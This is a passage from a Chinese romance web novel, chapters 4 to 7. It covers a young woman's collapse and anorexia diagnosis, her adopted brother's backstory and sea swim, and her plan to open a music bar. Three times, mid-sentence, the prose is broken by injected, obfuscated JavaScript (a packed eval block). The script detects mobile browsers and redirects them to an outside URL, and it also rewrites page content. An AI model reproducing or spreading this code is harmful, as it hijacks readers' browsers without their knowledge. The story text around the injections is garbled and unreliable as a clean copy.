林鸣修不再说话,立在她侧后方,看着星星点点的火光从火石中迸射,又很快颓靡下去。 卸了妆,肩上的黑色羊毛毯衬得她脸几无血色,形容更加消瘦。 “柚安。”隔着风声,他的声音不那么真切。 林柚安回头,脸上的烦躁还未消退,双眼大却无神,像一汪被抽干了的水塘。 林鸣修怔了一瞬,随即摸出一枚银质打火机,点火。 林柚安站定片刻,重新咬上烟,偏头凑过去,林鸣修伸手帮她护住火。 橙红的火舌舔上烟头,她的睫毛眨了眨,投在林鸣修手背的阴影一晃。 烟头亮起点点猩红,在夜里忽明忽灭。 还未抽下一口,林柚安先踉跄了一下。 “怎么了?”林鸣修霎时紧绷,手伸到她背后,见她尚能站稳,就没有下一步动作。 “有点头晕……回去睡了……” 林柚安将烟暗灭,转身欲往回走,才转身,人便软塌塌往下倒去,像一支被风吹折的柳条。 “柚安?柚安!” . 4. 第 4 章 二零一二年冬天,地产界爆出了一则不大不小的新闻。 深圳地产商顾海洋被控使用不合格的建筑材料,导致住户死亡。 在被判入狱的当天,其本人因心脏病发去世。 顾海洋早年在港城创业,与友人共同创立了房地产公司四海寰宇,后因理念不合而分家,独自回到家乡深圳,创立了新的公司,致力于用建筑垃圾制成再生材料,助理绿色城市建设。 他带头研发的再生骨料混凝土,再利用率高达96%。 在号称“绿色能源社区”的建造中,顾海洋伪造测评数据,将一批未达标的再生材料用于住宅建设,导致数名住户患上白血病,其中两人因病死亡。 顾海洋本人被判承担所有法律责任,不仅要承担赔偿,还被判入狱。 他坚持自己也是被人所骗,但上诉无效,就在当天,心脏病发死亡。 印有这则新闻的报纸在林鹤堂的书桌上摆了整整一个月,就连林柚安也心生好奇。 尹晴说顾叔叔一家是他们的好朋友,小时候还抱过她,但林柚安一点儿也想不起来。 彼时她十二岁,各大歌唱和乐器类的比赛,拿奖拿到手软。以为自己的音乐天赋能成为整个家族的骄傲。 后来她才知道音乐天赋这个东西,是当林鹤堂的女儿,最不需要的。 这则新闻就快要被林柚安遗忘的时候,一个少年闯进了她的家中。 那阵子,港城一个富商的儿子被匪徒绑架,闹得全城人心惶惶。 林鹤堂在夏山郡内外多加了三层安保,别的没逮着,逮着一个鬼鬼祟祟在门外徘徊的男孩。 暴雨中,瘦骨嶙峋的少年被拎了进来,水滴滴答答从他的额发末端低落。 林柚安还以为真的抓到了坏人,又害怕又好奇地跟来,揪着父亲衣摆,从父亲身后探头去看,看到他紧握的拳头在发抖。 这个坏人好可怜啊。 “误会了。”林鹤堂叫人放开他,并说,他是故人的儿子。 “鸣修。”父亲这样叫他。 林柚安觉得耳熟,但想不起来别的。 “你来投奔我?”林鹤堂问。 少年鼓起勇气抬眸,先是看到了林柚安,眸光猛地一缩,再次握紧拳头,转向林鹤堂道:“我没有办法了,我妈的肾每周都要做透析。” “你要知道,你爸当年不是和我好聚好散,是大骂我一顿之后,分道扬镳的,挑明老死不相往来。那个犟种不相信我,转身却信了不该信的人,我很生气。” 话是这样说,林鹤堂目光却很没有恼意,反而出奇柔和。 “学还没上完吧?我帮了你,你能为我做什么?”他问少年。 少年看到林鹤堂身边一圈黑衣人,梗着脖子说:“我能当保镖。” 林鹤堂看了看身边的人,笑起来,那群黑衣人也笑起来,林柚安悄悄鼓起了嘴,在心里为他打气。 “你能打?” “我……” 总不能说,在学校里很能打吧。 现在开始,已经是成年人的世界了,十六岁的少年提醒自己。 “我能帮你挡子弹。”他说。 黑衣人笑得更凶了,林鹤堂却没有笑,他人因此也住了嘴。 “搬过来住吧,”他对少年说,“把你母亲也一起接过来。” 少年倏然怔原地,像是反应不过来,蓦地膝盖触地,咚的一声。他仰头望向负手而立的长者,喜色一点一点在他雨泪纵横的脸上炸开。林柚安仿佛看见一只溺水多时的困兽,终于冲出水面。 可她的表情却僵了。 公园里终日有人施舍流浪猫狗,有谁会真的把它们接回家住? 少年就这样搬来了港城,好在他没有真的住进来,而是在母亲租住的房子和这边两头跑。 孟姨说自己一个病人,不好住进别人家来,但她跟尹晴年轻时便交好,经常被接来作伴。 少年拥有一间佣人房,他自己挑的。 林鹤堂帮他还清欠债,出资让他念到大学毕业,上学之余,他帮林鹤堂打杂。家里佣人的活,司机的活,包括接送林柚安上学放学,送尹晴跑医院治疗眼睛,只要找他,他不会啰嗦一个字。 少年话少,从不主动跟大小姐说话。 林柚安也不喜欢他。 从他出现的第一天起,就不断有传言钻进林柚安耳朵里—— 林鹤堂只有她一个女儿,还不太争气,正愁没有人继承家业,那个男孩子就出现了,他是奔着当这个家的儿子来的,表面老实,实则城府颇深。 后来,孟姨去世后的事了。林鹤堂真的正式收他为养子,他还改了姓。林柚安眼睁睁看着那个传言一点一点变成真的,束手无策。 柚安的印象中,他在这个家的存在感很稀薄。 父亲身前身后总是围着一大堆人,母亲的应酬也不少,大伯一家有三个儿子,两家人时常聚会。 一大家子人中,林鸣修低调地就像是一抹影子,若不特别留意,根本感知不到。可能他自己也知道不属于这里,所以才有意降低存在感吧。 不过,那都是她出国留学之前的事了。 现在,林鸣修依旧话少,甚至比从前更多一份内敛与矜重,却是人群里,不可忽视的存在。 而那个跟随了林柚安十二年的传言,也在不知不觉间,成为了一个无法打破的诅咒…… 林柚安意识回笼,朦朦胧胧睁开眼睛,只觉得头昏脑涨,整个人像是被架在火上烤的茄子,软塌塌一塌糊涂。 床边一个高大的身影正背对着她,跟某人说话。带着回忆的余韵,她还以为那是林鹤堂。 稍清醒一些才反应过来,父亲现在不可能有这么挺拔。 那是林鸣修。 她的父母也在床边,只是被他挡住了。 跟他们说话的那个是他们家的私人医生,从不太能听得清的对话中,林柚安抓住几个关键词:营养不良、抵抗力低下、胃炎、发烧、神经性厌食…… 这些词没完没了地砸下来,林柚安紧闭上双眼,不再想听。 尹晴发现柚安醒来,立刻上前查看,用手背探她额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765446|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,发现还烧着,焦急地转向医生。 医生说这是正常的,药才刚注射完,没那么快退烧,要发一阵汗的。 尹晴告诉林柚安:“医生说你长时间不好好吃东西,有厌食症的症状,刚才那一顿吃得有点重口了,又吹了风,引发了急性胃炎。具体情况还是要做个全身体检才知道。” 林柚安手背压住抽痛的额头,“发个烧而已,哪里牵扯出这么多病?你们别大惊小怪了。” “所以要好好检查一下啊。你还犟。” 林鹤堂按了按尹晴的肩膀:“好了,让她休息,我们先出去。” 林鸣修自始至终一言不发地站后面,但是柚安实在无法忽视他的存在。 是被他抱进来的吗? 当时是以什么姿态倒下去的呢?又是以什么姿态被他抱回来的?完全不记得了。 这么狼狈,真是丢脸。 “都出去吧,让我睡觉。”她索性将被子一拉,盖过头顶。 一行人远去,她在被子里听到尹晴的声音,带着哭腔:“这几年,她一个人都是怎么过的啊?要不是身体底子太差,也不会吃那点东西就范胃炎,一发烧人就晕倒。” 林柚安心说,母亲实在多虑,现代人哪个体检单子上没几个触目惊心的红字?不过是吃坏肚子了而已。 归根到底,还是不相信自己病了。 然而几天之后体检报告出来,这些她抗拒不已的病名,终究被一一盖棺定论,钉在头上。 她的食道已经有被胃液灼烧的痕迹,胃酸PH值与胃蛋白酶也不在正常范围内。 尹晴希望她去专业疗养机构修养一阵子,但是她坚决拒绝,于是尹晴将护理师和营养师请到家里,让柚安在家里养病。 回来一趟,跟坐牢一样,林柚安偷偷收拾起行李,查看机票,却已不知该去哪里。 . 下午,佣人来找林鸣修的时候,他正靠坐在书房的沙发上,手里颠转着一只银质打火机发呆。 他没有单独去过大小姐的房间,却长时间坐在隔壁的书房里,一墙之隔的这张沙发上。 不知在想什么,第一声敲门居然没有听见。 佣人焦急出声:“少爷,不好了,小姐不知道去哪了,到处都找不到。” 林鸣修抬眼起身,问:“什么时候不见的,太太知道吗?” 佣人答:“有一个小时了,她说去阳台晒太阳,不让跟着。刚刚去阳台接她的时候,发现她人不在,手机也关机,太太急坏了。老爷今早去公司了,不敢惊动他。” 话语间,林鸣修已经来到一楼大厅,安保正跟尹晴汇报监控的情况。 林鸣修叫人将车开来,随后安抚尹晴,“您别急,我去找她,人不会丢的。” 尹晴这下更坐不住了,“她出去了?监控没看到她出门啊。” 林柚安自小生活在夏山郡,早就知道如何逃脱监控,那处漏洞林鸣修几次帮她瞒下,这次也不例外。 他一点不见慌乱,过去扶尹晴坐下,“您放心,我晚饭前一定将她带回来。” 5. 第 5 章 二零零四年,林鸣修八岁。 父母带着他跟林伯伯一家去鲸落湾海滩玩,他们说林伯伯的女儿也会去,到了,却没看到小孩儿。 尹晴指了指不远处躺着的一块巨型礁石,说柚安在那边玩沙子。 孟悦问林鸣修想不想去,林鸣修点个头便去了,快到时却拐了个弯,他不想陪小孩子玩儿。 那块礁石很大,日落十分,浴在金色的夕阳里,被镀上一层金边,像一头搁浅的鲸,海滩因此而落名。 林鸣修逛了一圈,还是逛到礁石那,“鲸”的尾巴处有一个小弯,刚够一个小屁孩建造“基地”。 小孩头发薄薄的,半长,细软,披在颈肩,坐在沙滩上扭她那条用塑料袋套在脚上,当成的尾巴,短袖脱出两个袖子变成裹胸,两个肉乎乎的肩膀露在外面。又不知道从哪里捡了两块小贝壳,一边一个按在胸前,脆生生地对着空气说:“巫婆巫婆,我要一双人类的双腿。” 接着她丢掉贝壳跑到对面,老着喉咙说:“可以,但是必须用你的声音来交换。” “不要不要,不要夺走我的声音,我可以把我的宝贝都给你,”小孩儿飞快地扑回地面,蛄蛹到礁石底下,小手扒拉出一堆五颜六色的石头,“这些都给你!” 巫婆却不买账:“不行,我要你用声音来换,不然,就永远见不到王子!” 小孩快速“走位”到原来的地方,惊恐地捂住喉咙。却不知道下一步要说什么了。 她把自己给演进去了,真的苦恼起来。 然而苦恼了没一会儿,便一泄气,扭头把“宝石”连同那两块贝壳慢慢收拢起来,脆生生嘟囔:“唔见就罢就,我都唔稀罕嘅。” 林鸣修皱了皱眉,新版的小美人鱼烂尾谢幕,他被创到了。 尹晴让柚安喊他“鸣修哥哥”,她喊不清楚,总是喊成“嘘哥哥”。 吸好大一口气,最后全“嘘”出去了。 喊成这样,他倒是也认。 长大后,林鸣修从深圳回来投靠,时常接送柚安。跟父亲吵架后,她就跑来这里坐着,鲸尾那个小弯弯,刚好够她避难。 林鸣修就靠在鲸的另一边,等她哭完,然后装作才找到她的样子。 . 车开到鲸落湾海滩,那头鲸刚好正横在夕阳斜照之下,林鸣修快步跑到鲸的背后。柚安真的靠在尾巴上,看着大海的方向发呆。 转头看到林鸣修的一刻,眸中诧异与忿忿交织。 仿佛不能接受找到自己的人是他。 “出来透个气都不行吗?”她没好气地问。 “那也没必要关手机。” “开了机不是又会被一群人跟着?” 林鸣修语气放软,“我知道你一个人自由惯了,不喜欢被这么多人围着。” “嘁。” 林柚安双手覆在脸颊上,默了一会儿,从口袋里摸出一支烟,夹在指间,示意借火。 林鸣修静立片刻,而后凑近。 林柚安以为他要打火,然而他却伸手取下她指间的烟,又猝不及防从她口袋里掏出烟盒和那只坏掉的打火机,一并收进自己口袋里。 “你!” “不许抽了。” 林柚安伸手去抢,哪里是林鸣修的对手? 林鸣修不听她的话,反命令她,这还是第一次。 她怒气顿时上来。 手腕被扣在他手里,却还是不信邪,拼命乱抓。拿不回打火机,倒是生生抓破了他脖子。她语气激动:“你是谁啊?凭什么管我?在爸面前你当孝子,在我面前你连个狗都不是!” 林鸣修不说话,只是平静地看着她。 目光里某中读不出来的意味。 显得自己真的像个病人。 林柚安甩开手,转而扯住他衣领,低声说:“你对爸妈这么好,对我这么好,不就是想收买人心,让我们拱手把所有东西都交给你吗?别演了,你对我越好,就越叫人讨厌。爸也不是真心喜欢你这个假儿子,只不过他一心想找男孩子继承家业,给他养老送终,见你已经没有一个家人,正好收买来用罢了。你们相互演了这么多年,累不累!” 林鸣修眸光垂下来,眼神里没有任何情绪,比风平浪静的湖面还要沉静。 “说话啊,为什么不说了!爸又不在这里,你的羊皮可以扔了!” 对方话音平和:“再怎么也说不过你,何必浪费口舌。” 这么多年历练,他到底是持重,想搅他波澜不兴的这池水,柚安还差得远呢。 她盯他片刻,颓然地摆手道:“走吧,我自己会回去,其他的不用你管。” 林鸣修没有走,而是坐下来问她:“今后有什么打算?” 柚安叹一口气,“你都问过几次了?我说过了,不用你管。” “你身体的毛病,很多是情绪问题造成的,找点事做,会有帮助。”林鸣修淡声道,“这样吧,如果你愿意稍微振作一点,找些事做,我可以帮你摆平家里,不再让你进进出出被人看着。也没有人会把你当病人看。” 好像一下子被戳中,柚安鼻头猛一阵酸,耸动了一下肩膀,无力地瘫坐下来。 垂头半晌,再次仰脸时已无悲切,瞧着林鸣修道:“好啊,你从这里游回家,我就听你的。” 林鸣修转头看着她。 大海一望无际,残阳也已经所剩无几,今天风大,海浪一声高过一声。 看了一会儿,他竟微微一笑,将外套脱下来,与车钥匙一并塞进柚安手里。 “你先回去,在家等我。” 不等柚安反应过来,人已经差不多脱光,朝海浪深处奔去。 “喂!” 柚安站起来,紧追几步,不敢相信上一秒还是怎么都撼不动的人,下一秒已经消失在海浪中。 他消失就好了,柚安从小到大,也不是没有这样想过。 可真到了这一刻,脑海里只有一片空白。 她转身抱起林鸣修的衣服和手机,找到林鸣修的车,往家里开。 鲸落湾离夏山郡有七公里公路,她开车回来,尹晴欣喜若狂,却见女儿神色有些不对,忙问出什么事了。 柚安瞳孔颤了一颤,开口道:“顾鸣修回了吗?” “没啊,你们不是在一起吗?”尹晴见她抱着鸣修的衣服。 “他跳海里去了。” 她声音神色冷淡,无不惹得尹晴乱想。 “怎么能跳海里去呢?是不是你又作弄他?你这孩子!真是太不像话了!” “好了,我去找就是了。”林柚安找管家要了只手电筒和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765447|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条毛毯,又抓了车钥匙再次出门。 开车沿山下的海岸线来回几趟,一无所获。 此时天已全暗,这一处海岸线相当安静,孤零零几道灯塔的微光,将黑色的海浪照得粼粼。 “顾鸣修,你到这儿来。” “快来!” 她记得那是高二的暑假。 一帮同学来家里的游泳池玩,玩得无聊了,忽见林鸣修路过,便想捉弄一下他。 “我的脚链掉水里了,你帮我找找。”她在池里游着,对方在岸上,明知是她找比较合理,他还是不疑有他地走过去,将身子探出池面,仔细地往水里看。 林柚安趁机一抓,他整个人栽进水里,脑袋一浮上来,同学就在岸上拿杆子敲,一边敲一边哈哈大笑。 不一会儿,水里没动静了,林柚安慌了。 几个男生将人捞出来,搜了个教学视频,有样学样地给他按压胸部,一点儿反应也没有。 柚安脸色煞白,喉头哽咽,说不出话来。 “他不会……真的死了吧?”同学担心起来。 “滚!”林柚安推开男生,学着老师教过的动作,将他嘴巴掰开,吸一口气凑近。 就在快要触到嘴唇时,他醒了,她圆睁的眼睛近距离与他视线相撞,心跳就快要冲上天灵盖。 林鸣修等不到柚安的一句道歉,猛咳一阵后,擦了把脸就走了。 彼时他已经在公安大学练出一身肌肉,这几年身高猛长,高出柚安一个头还多,体型也大出一倍。柚安怎么也想不到,他竟不会游泳,还这么好杀…… “会游也被敲死了……”男生们讪讪地补充。 林柚安:“滚。谁叫你们敲他了!” 她惊魂未定,喘着粗气朝他们吼。 事后,柚安以为林鸣修会去告状,惴惴了好几天,她倒是不怕被林鹤堂骂,就是有点怕孟姨伤心。 但他谁也没有说。 又过了几天,柚安好奇问孟姨:“顾鸣修一沿海城市长大的男孩子,怎么会不会游泳?” 孟姨笑着说:“他很小的时候溺过水,从此以后就再也不敢下水了。” …… 林柚安握着方向盘的手心不停沁出汗珠,不想去回忆的,回忆却不饶过她,在这个当头反复重映。 这次又不是我弄的,是他自己…… 况且,我也不在乎他的死活。 柚安心里这样想,人却一脚刹车停在路边,抱着毛毯冲了下去。 此处僻静,海滩不对公众开放,一个人影也不见,她打着手电探照海面。 冰冷的海浪扑过脚背,血也仿佛一同被带凉,凉得人打哆嗦。 “顾鸣修!” “鸣修!” 她停下来朝着一望无际的海面,越喊越大声,嗓子都喊哑了,没有一丝回应。 恐慌像浪一样,层层没过头顶。 柚安跌坐在沙滩上,不自觉已泪流满面。黑色的海浪,只有她一个人的海岸线,她忽然有一种,这一生都会被困在这一幕的绝望感。 “在这儿。” 不多久,林鸣修沉冷的声音从远处传来。 她抬眸,只见他背着满身月光,踩着海浪向她走来。 那一刻,万钧浪涛全都没了声响。 6. 第 6 章 我以为,你是一尊雕像成精,或者一个AI。 长相、身材、行事样样精确,可落入优等品的范畴,在优等品里,也是最完美的那个批次。 你不会开心,不会伤心,没有软肋,也不会倒下。 你没有爱,可能有一点恨,但底色是置身事外,理性权衡,中立审视。 你跟我爸一样,你们可能都是INTJ,团队里的膺,冷淡精确。 所以,脱成这样,不由分说地跳进海里这件事,我只能认为是你的算法出了BUG。 或许,你才是有病的那个。 无妨。 现代人,谁身上没点病呢? …… 那个身影走向自己的几秒内,林柚安不甚真切地浮出许多想象。 最终归结到林鸣修可能病得不轻这件事上。 思绪飞了很远,她的表情还僵着,林鸣修走到她面前,将她手腕一扭,手电照出她涕泗横流的一张脸。 目光不带情感色彩地停留数秒,他问:“你在干嘛?” 声音混在咸湿的海风里,几分缥缈。 柚安理智回笼,手扣在脸上,慢慢平静下来。 “不是不会游泳吗?!” 林鸣修仿佛觉得好笑,“不会就不能学?” “唔该。”未等柚安接话,他拿过毛毯就往前走,薄唇若有似无地勾了抹笑。 柚安跟在后面,只觉得浑身脱力,生气,抑或庆幸的力气全都被抽走了。 林鸣修少时显得老成,看上去比实际要大上好几岁,作为成熟男人的他却莫名多了几分少年气—— 这样的笑,以及这样匀称干净的肌肉线条。 . 回去的路上,柚安开车。 几盏路灯,山路寂静幽长。 林鸣修问:“是否说话算话?” “当然了,”柚安当即就说,“不是说人生就是一场豪赌吗?我打算开一家赌场。” 林鸣修说“好。” 想了想又说:“港城开设赌场是非法的,我帮你看国外的场子。” 柚安问:“那爸那边呢?他肯定会气死的。” 林鸣修这次想得有点久,“我会帮你瞒着,事情稳了再想办法。” 他目光深沉望着前方,陷入认真地揣度中。 柚安瞥去一眼,在心中偷笑,又说:“我改变主意了。” 林鸣修说:“愿闻其详。” 表情无甚起伏。 柚安道:“我要下海拍片子,你有没有认识的导演?” 林鸣修一刹那盯过去,眼神跟刀子一样。 柚安未敢看他,憋着僵持了一会儿,实在忍不住,哈哈大笑起来。 “我还以为,什么荒谬的想法,你都会支持呢。”她快笑出眼泪。 “别闹。” 车内安静了一会儿,柚安再次开口:“我要开一间音乐酒吧。” 林鸣修轻轻“嗯”了一声,听她继续说下去。 “不用很大,要有一个台子,每天都有Live。”柚安回忆着。 “好。”林鸣修紧绷的脸色稍有舒展,暗自松一口气。 永远都是这么简短的回答,却莫名让人觉得靠得住。 柚安目光微沉,开口道:“我不是说过吗?你对我越好,越让人讨厌。” 林鸣修声线清淡,“我知道。” 仿佛无甚在意。 也是,柚安心想,照顾好我是爸布置的任务。我讨不讨厌,都不妨碍他林鹤堂养子的简历上,又添一笔业绩。 一回到夏山郡,林鸣修就帮柚安提了音乐酒吧的事。 尹晴很欣慰,难得柚安肯找点事做。 林鹤堂嘴上不看好,却二话不说吩咐林鸣修拨钱跟勘场。 林鸣修直接找到城中一处地段较好的酒吧,高价买下。林柚安去看了一圈,场地比林栖那家酒馆大上三倍,座位与座位之间不再拥挤,吧台不再小小的,只容一两个人栖身。 她很满意,唯一的意见是,色调必须是暖黄色—— 酒吧之前的装修偏现代感,以银色为主。 “没问题。”林鸣修将柚安请进酒吧后场的办公室,丢给她一张卡,“这里有足够的资金,想怎么翻修随便你。” 柚安微微吃惊。 林鸣修金丝眼镜后的目光平静无波,“是不是以为我会帮你落地所有事情,一切准备地好好的,迎接你这个甩手掌柜入场?柚安,我不陪你玩家家酒的游戏。” 柚安强定心神,伸手按住那张卡,“我正好也不喜欢你过多参与我的生活。” “那就太好了。” 林鸣修叫人把相关文件抬上来。 一沓是酒吧买卖的相关合同以及经营证照,和过往账目,酒水供应商的资料。一沓是酒吧建筑图纸,包括水电线路等等。一沓是所有员工的资料,由林柚安自行决定老员工的去留。 说用抬的,一点不夸张。 数不清的A4纸用回形针整理地紧紧有条,旧的单据被一一理平,边角的皱褶都没看见一个,整整齐齐地码成几摞,以不同颜色的标签区分,像一本本尚未开封的书。 员工的资料除了入职时递交的履历,林鸣修还找人重新做了调查,小至一个保洁的家世背景都查得清清楚楚。 只有酒吧经理,他安排了自己信任的手下,一个叫阿谨的年轻人,是从四海旗下的四星级酒店调出来。 怕柚安初入这一行没有经验,派个得力人过去,与她有商有量。 安排地这样周到,柚安也不好再抱怨什么,尽管她看到文件的时候,太阳穴一再发紧。 “钱赔光也没关系,”林鸣修风轻云淡地说,“但你想想那时候爸看你的眼神。” 顿了顿,又补充:“还有我的。” 柚安咬了咬唇,“我管你什么眼神。” 资料被装进纸箱,送回夏山郡。她连夜过目一遍,发现林鸣修嘴上说得袖手旁观,实际上大部分工作已经都做好了。 这间酒吧地段优越,过往的流水很好,如果不对装修和人员做更改,就这样开张是完全没有问题的。 柚安稍作忖度,还是决定重新装修,既然是音乐酒吧,相关器材也得购置一番。 酒吧场地大,重新装修要费不少事,她忙得不可开交。 那日林鸣修交付工作之后,就真的没有出现过,家里也看不到人。 尹晴说他跟林鹤堂去东京谈生意去了,可是一周后父亲回来,还是没看见林鸣修的身影。 柚安憋了几天,实在忍不住,问尹晴:“那家伙去哪了?” 尹晴正在打理林鹤堂带回来的一只古董花瓶,面前铺展了一桌鲜花,紫色和青色为主调,她拿起一支修剪多余的枝条,边剪边说:“他留下来参加富士山自行车公路赛,赛已经比完了,他这两天就回。” 柚安“哦”了一声,随意拿起一枝冬青帮母亲修剪。 尹晴似是被问起了兴致,拿出手机翻出比赛的视频给柚安欣赏,一群身穿专业骑行服的选手在山间公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765448|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路上爬升。 比赛刚开始,选手紧凑地挤在镜头里,统一佩戴头盔和专用墨镜,节奏无甚参差,连过弯时,车身倾斜的时机和弧度都很一致。 饶是这样,柚安还是一眼认出了林鸣修。 他骑在前段,下颌紧绷,骑行服下,肌肉轮廓更加明显,线条如拉满的弓弦,在一众欧洲脸孔居多的骑者中,依旧优越耀眼。 “看,这是你哥,他要领骑了。”尹晴目光炯炯地盯着不知道看了多少遍的视频,画面中,林鸣修突然俯身加速,闪电般冲到了最前面。 她懂得不少,偏头跟柚安讲解:“他们这是有策略的,领骑责任很大,负责控场,还有破风,就是帮队友减少风阻。” 柚安撇撇嘴,“不感兴趣,” 话是这样说,心跳还是跟随着那个俯身冲刺,猛地提了一下。 尹晴听她这样说,便不勉强,关掉了视频,戛然而止的画面让柚安呼吸一滞,使劲抿了抿嘴。 才将那份意犹未尽咽下,耳边就响起尹晴的夸赞:“鸣修工作再忙,还是会抽时间运动,我还没见过比他更自律的年轻人。你看他的身材,男明星也比不上。” 骄傲之情溢于言表。 柚安知道,尹晴是真的将林鸣修视如己出。 他们夫妻和林鸣修父母是相识于微时,一同创业打拼的伙伴。尹晴和孟悦更是好到无话不说。 孟悦死后将一双眼角膜赠给尹晴,治好了她即将要失明的眼睛。 尹晴哭得几近真的失明,比林鸣修还要伤心。 那样心软的人,不管林鸣修是否真心,她都认定了要代孟悦继续当他的母亲。 柚安看着她洋溢着温情的脸,酸酸地说:“妈,你什么时候也能这样夸一夸我?” 这种袒露酸妒的话,也只有实在安耐不住,在尹晴面前说一回而已,说完立刻就后悔了。 尹晴面露嗔怪,“我哪有不夸你了?柚安,你发的唱片还有演出视频,我都看了又看,你得的那些奖牌,奖杯,我恨不得陈列在大厅的展柜里,不管是谁,一进门就得给我看到。要不是……” 意识到那是柚安最不想提的东西,尹晴没有继续说下去,转而按了按她的脑袋:“不许再这么想了。” 柚安笑笑,将剪得乱七八糟的冬青趁母亲不注意,插进瓶子里。 还是被尹晴发现,尹晴睨她一眼,抽出来在手里细细补救。 . 林鸣修下了回港城的飞机,信号一恢复,便给阿谨打去电话,询问柚安的情况。 他们跑了好几天,终于订下一套音响设备,阿谨高兴对林鸣修说:“大小姐太厉害了,一听就知道设备好坏,老板看她小姑娘模样,还想坑她,哪知道她是行家,只能乖乖交出保底价。您没看到老板当时那个脸色,像中毒了似的。要是他知道跟他讨价还价的是四海寰宇董事长的女儿,估计人都要厥过去。” 林柚安在外从不自报身家,不管是留学的时候,还是后来出道之后。 这种低调,也是对自己的一种保护,林鸣修在外亦如此。 他嘴角勾了勾,对老板是何反应没有兴趣,只问:“还有别的吗?大小姐最近心情如何?” “蛮好的,看不出不开心,”阿谨顿了顿,其实也看不出开心,他想起一件事,“对了,我发现大小姐都不怎么吃东西的,跟她在外面跑上一天,也不见她吃一口饭,好像不知道饿似的。” 林鸣修嘴角放平,“知道了。” 坐上车,他直接去了柚安的酒吧。 7. 第 7 章 酒吧正在装修,粉尘很大。 林鸣修一脚踏进大门,就看见柚安在吧台前对工人吩咐着什么。 她穿一条黑色的工装裤,上身是藏蓝色的短夹克,内搭一件白色背心,头发全部挽起来,戴了顶鸭舌帽,宽大的护目镜罩在眼上,显得脸更小了,脚踩一双做旧的板鞋,整个人看上去简洁干练。 林鸣修站着看了一会儿,等她吩咐完事情才上前。 见他的到来,柚安颇感意外。 机器轰鸣,林鸣修抬手指了指外面,柚安犹豫片刻,摘下护目镜走了出去。 “有事?”柚安拍了拍工装裤上沾染的尘土,料想黑色经脏,但其实沾上白色的粉尘,更加明显,她眉头蹙着。 林鸣修等她拍干净,说:“跟我去吃饭。” 柚安没有当即拒绝,酒吧里空气糟糕得很,她正想找个地方休息透气。 “很近的,包你喜欢吃。” 林鸣修说罢看了看来往的车辆,预备要过街。 这是哪里来的自信?柚安心里轻嗤一声,将信将疑地跟上了他。 一街之隔有家云吞面店,下午四点半,门口已经排上了长队。 老板是一对头发花白的夫妇,似乎认得林鸣修,给他们在后厨的通道里支了张小桌,这样一来,就免了排队。 “带埋女朋友嚟啊?”笑起来一脸皱纹的老板娘见林鸣修第一次带女孩子来,忍不住打趣他。 “唔系啊!”柚安连忙摆手。 却瞥见素来八风不动的林鸣修,脸上竟多了几分不自然。 他清了清嗓子以掩饰尴尬,手肘支在桌上,掩住嘴巴。 小桌摇摇晃晃的,擦过一遍,还是有些滑腻,跑堂的伙计在过道穿梭,时不时蹭到柚安的衣服,柚安恼极了,不肯落座,拿起手机就要走。 就在这时,云吞开了锅,老板将锅盖一揭,顿时雾气缭绕,清润的香气争先恐后地往外蹿,惹得柚安胃部一阵抗议。 “快坐吧,不然又要被撞到。”林鸣修出言提醒。 柚安看了看门外的长队,看在胃部的本能反应,和加座不易的的份上,勉强收回去意。 一条马路之隔是她的酒吧,此刻工人正在安装招牌,Echoes&Elixirs的灯牌歪歪斜斜被吊上去,徐徐升入视野。 回维市的那个晚上,也是这样隔着一条街看这个招牌。 “我想坐对面,跟你换个位子。”柚安对林鸣修说。 林鸣修转头看了一眼,站起身来。 过道狭窄,两个人交错,柚安的碎发掠过林鸣修的项间,拂面一阵冷调的香气。 后者心口微震,呼吸滞了两秒,跟着停下脚步,好像一下子不知道怎么走路了。 等柚安完全通过,他方才移步。 “不喜欢这个名字可以换一个,”林鸣修没有明说,只是点到即止地提醒,“酒吧是你的。” 柚安敛了目光道:“一时也想不到好的。” 她连日泡在酒吧里盯装修,心知不管怎么装,也不会装成那个温馨的小馆子。 不管是几十年老顾客的人间烟火气,还是音乐才女老板娘,冥冥之中赋予酒馆的灵气,都比不上。 一模一样的招牌跟色调代表不了任何东西,但是刻意地规避,就能忘记吗?再说她心里,也实在没有别的方向,只能拿塞满心房的艳羡,假作那希望。 其间情感咀嚼起来很是可耻,却又叫人欲罢不能,跟饮鸩止渴没有什么两样。 两碗云吞面上来,只看了一眼,柚安就知道会好吃。 这家的汤底格外清凉,云吞大个,狮头凤尾,如金鱼摇曳在茶色的汤汁中,晶莹的云吞皮透出里头紧致的虾肉内陷,嫩嫩的粉红色,诱得人想要立刻咬上一口。 柚安舀起一只,吹了吹,送入口中,鲜香在唇齿间迸发,小时候的味觉记忆直冲大脑。 